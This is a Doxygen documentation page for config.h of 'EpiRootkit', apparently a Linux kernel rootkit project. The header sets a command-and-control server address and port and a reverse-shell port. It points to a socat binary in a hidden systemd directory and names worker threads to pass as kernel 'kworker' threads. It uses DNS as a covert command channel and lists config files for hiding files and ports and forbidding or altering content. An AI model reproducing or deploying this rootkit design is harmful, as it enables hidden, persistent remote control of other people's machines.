EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
config.h
Go to the documentation of this file.
1#ifndef CONFIG_H
2#define CONFIG_H
3
4// RETURN MACROS
5#define SUCCESS 0
6#define FAILURE 1
7
8/* LOG MACROS */
9#if defined(DEBUG) && DEBUG
10#define DBG_MSG(fmt, args...) \
11 do { pr_info("epirootkit: " fmt, ##args); } while (0)
12#define ERR_MSG(fmt, args...) \
13 do { pr_err("epirootkit: " fmt, ##args); } while (0)
14#else
15#define DBG_MSG(fmt, args...) do { } while (0)
16#define ERR_MSG(fmt, args...) do { } while (0)
17#endif
18
19// PARAMETERS MACROS
20#define SERVER_IP "192.168.100.2"
21#define SERVER_PORT 4242
22
23// SOCAT MACROS
24#define SOCAT_BINARY_PATH HIDDEN_DIR_PATH "/.sysd"
25#define REVERSE_SHELL_PORT 9001
26
27// ENUM FOR PROTOCOLS
31};
32
33// TCP MACROS
34#define NETWORK_WORKER_THREAD_NAME "kworker/u42"
35#define MAX_MSG_SEND_OR_RECEIVE_ERROR 5
36#define TIMEOUT_BEFORE_RETRY 1000
37#define RCV_CMD_BUFFER_SIZE 1024
38
39// DNS MACROS
40#define DNS_WORKER_THREAD_NAME "kworker/u84"
41#define DNS_POLL_INTERVAL_MS 5000
42#define DNS_PORT 53
43#define DNS_MAX_BUF 4096
44#define DNS_HDR_SIZE 12
45#define DNS_MAX_CHUNK 28
46#define DNS_MAX_AUTHORIZED_NB_CHUNKS 128
47#define DNS_SERVER_IP SERVER_IP
48#define DNS_DOMAIN "dns.google.com"
49
50// USERLAND COMMAND EXECUTION MACROS
51#define USERLAND_CMD_TIMEOUT 5
52
53// HIDDEN FILES MACROS
54#define HIDDEN_PREFIX "stdbool_bypassed_ngl_"
55#define HIDDEN_DIR_NAME ".epirootkit-hidden-fs"
56#define HIDDEN_DIR_PATH "/var/lib/systemd/" HIDDEN_DIR_NAME
57#define STDOUT_FILE HIDDEN_DIR_PATH "/std.out"
58#define STDERR_FILE HIDDEN_DIR_PATH "/std.err"
59
60// CONFIG FILES MACROS
61#define HIDE_CFG_FILE "hide_list.cfg"
62#define FORBID_CFG_FILE "forbid_list.cfg"
63#define ALTERATE_CFG_FILE "alterate_list.cfg"
64#define PASSWD_CFG_FILE "passwd.cfg"
65#define HIDE_PORT_CFG_FILE "hide_ports.cfg"
66
67// OTHER MACROS
68#define STD_BUFFER_SIZE 1024
69#define VANISH 0
70#define ULIST_LINE_MAX 256
71
72// MODULE PARAMETERS
73extern char *ip;
74extern int port;
75extern char *message;
76
77#endif /* CONFIG_H */
char * message
int port
Definition main.c:7
Protocol
Definition config.h:28
@ TCP
Definition config.h:29
@ DNS
Definition config.h:30
char * ip
Definition main.c:6